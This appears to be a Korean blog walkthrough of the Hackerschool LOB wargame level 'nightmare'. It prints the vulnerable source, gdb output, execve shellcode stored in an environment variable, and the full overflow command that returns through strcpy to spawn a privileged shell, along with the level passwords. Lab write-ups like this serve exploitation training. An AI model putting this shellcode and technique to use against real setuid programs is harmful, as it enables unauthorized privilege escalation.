해커스쿨 LOB LEVEL18 [succubus -> nightmare] 풀이
M4ndU
해커스쿨 LOB [succubus -> nightmare] 풀이입니다.
ID | succubus
PW | here to stay
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
그리고
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 소스코드를 확인합시다.
login: succubus
Password:
[succubus@localhost succubus]$ bash2
[succubus@localhost succubus]$ ls -l
total 20
-rwsr-sr-x 1 nightmar nightmar 12983 Mar 30 2010 nightmare
-rw-r--r-- 1 root root 625 Mar 30 2010 nightmare.c
[succubus@localhost succubus]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
소스를 보면
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
리턴 주소가 strcpy()함수의 주소여야 하고,
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
리턴 주소다음 4바이트 부분 = strcpy()함수의 리턴 주소를 A로 채우네요.
A로 채워진 부분을 strcpy함수를 통해 쉘코드 주소로 다시 덮어주어야 합니다.
페이로드를 구성해보면
&(&shellcode)[4]+dummy[40]+&strcpy()[4]+dummy[4]+4바이트 앞 주소(strcpy()의 리턴주소)[4]+&buffer[4]
일단 strcpy()의 주소를 구해줍니다.
[succubus@localhost succubus]$ gdb -q nightmare
(gdb) set disassembly-flavor intel
(gdb) disas main
(생략)
0x8048722 <main+110>: call 0x8048410 <strcpy>
(생략)
그리고 쉘코드를 환경변수에 넣어줍니다.
그 전에 쉘코드의 주소를 다른 환경변수에 넣어주기 위해 공간을 확보합니다.
$export EGG1=`python -c 'print "\xff\xff\xff\xff"'`
$export EGG2=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG1")); } ' > get1.c
$gcc get1.c -o 1
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG2")); } ' > get2.c
$gcc get2.c -o 2
이제 strcpy()의 리턴주소가 들어가는 주소를 구합니다.
[succubus@localhost succubus]$ mkdir tmp
[succubus@localhost succubus]$ cp nightmare tmp/
[succubus@localhost succubus]$ cd tmp/
[succubus@localhost tmp]$ ./nightmare `python -c 'print "D"*44+"\x10\x84\x04\x08"+"C"*12'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC
Segmentation fault (core dumped)
[succubus@localhost tmp]$ gdb -c core -q
Core was generated by `./nightmare DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC'.
Program terminated with signal 11, Segmentation fault.
#0 0x400767c1 in ?? ()
(gdb) x/40x $esp-40
0xbffff9e0: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffff9f0: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffa00: 0x44444444 0x44444444 0x4000ae60 0x44444444
0xbffffa10: 0x41414141 0x43434343 0x43434343 0x40013800
0xbffffa20: 0x00000002 0x08048420 0x00000000 0x08048441
0xbffffa30: 0x080486b4 0x00000002 0xbffffa54 0x08048350
0xbffffa40: 0x0804877c 0x4000ae60 0xbffffa4c 0x40013e90
0xbffffa50: 0x00000002 0xbffffb61 0xbffffb6d 0x00000000
0xbffffa60: 0xbffffbaa 0xbffffbc1 0xbffffbcb 0xbffffc5e
0xbffffa70: 0xbffffc76 0xbffffc95 0xbffffcb7 0xbffffcc5
buffer은 0xbffff9e0이고
ret는 0xbffffa10이네요.
이제 페이로드를 완성하기 위해 환경변수에 들어간 쉘코드의 주소를 구해줍니다.
[succubus@localhost env]$ ./2
ADDR -> 0xbffffbe4
그리고 EGG1을 다시 설정해줍니다.
$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`
[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`
[succubus@localhost env]$ ./1
ADDR -> 0xbffffbda
&strcpy() | 0x08048410
&ret | 0xbffffa10
&(&SHELLCODE) | 0xbffffbda
&buffer | 0xbffff9e0
모두 구했습니다.
그럼 익스플로잇!
./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
[succubus@localhost tmp]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ exit
exit
[succubus@localhost succubus]$ cd ..
[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ my-pass
euid = 518
beg for me
성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ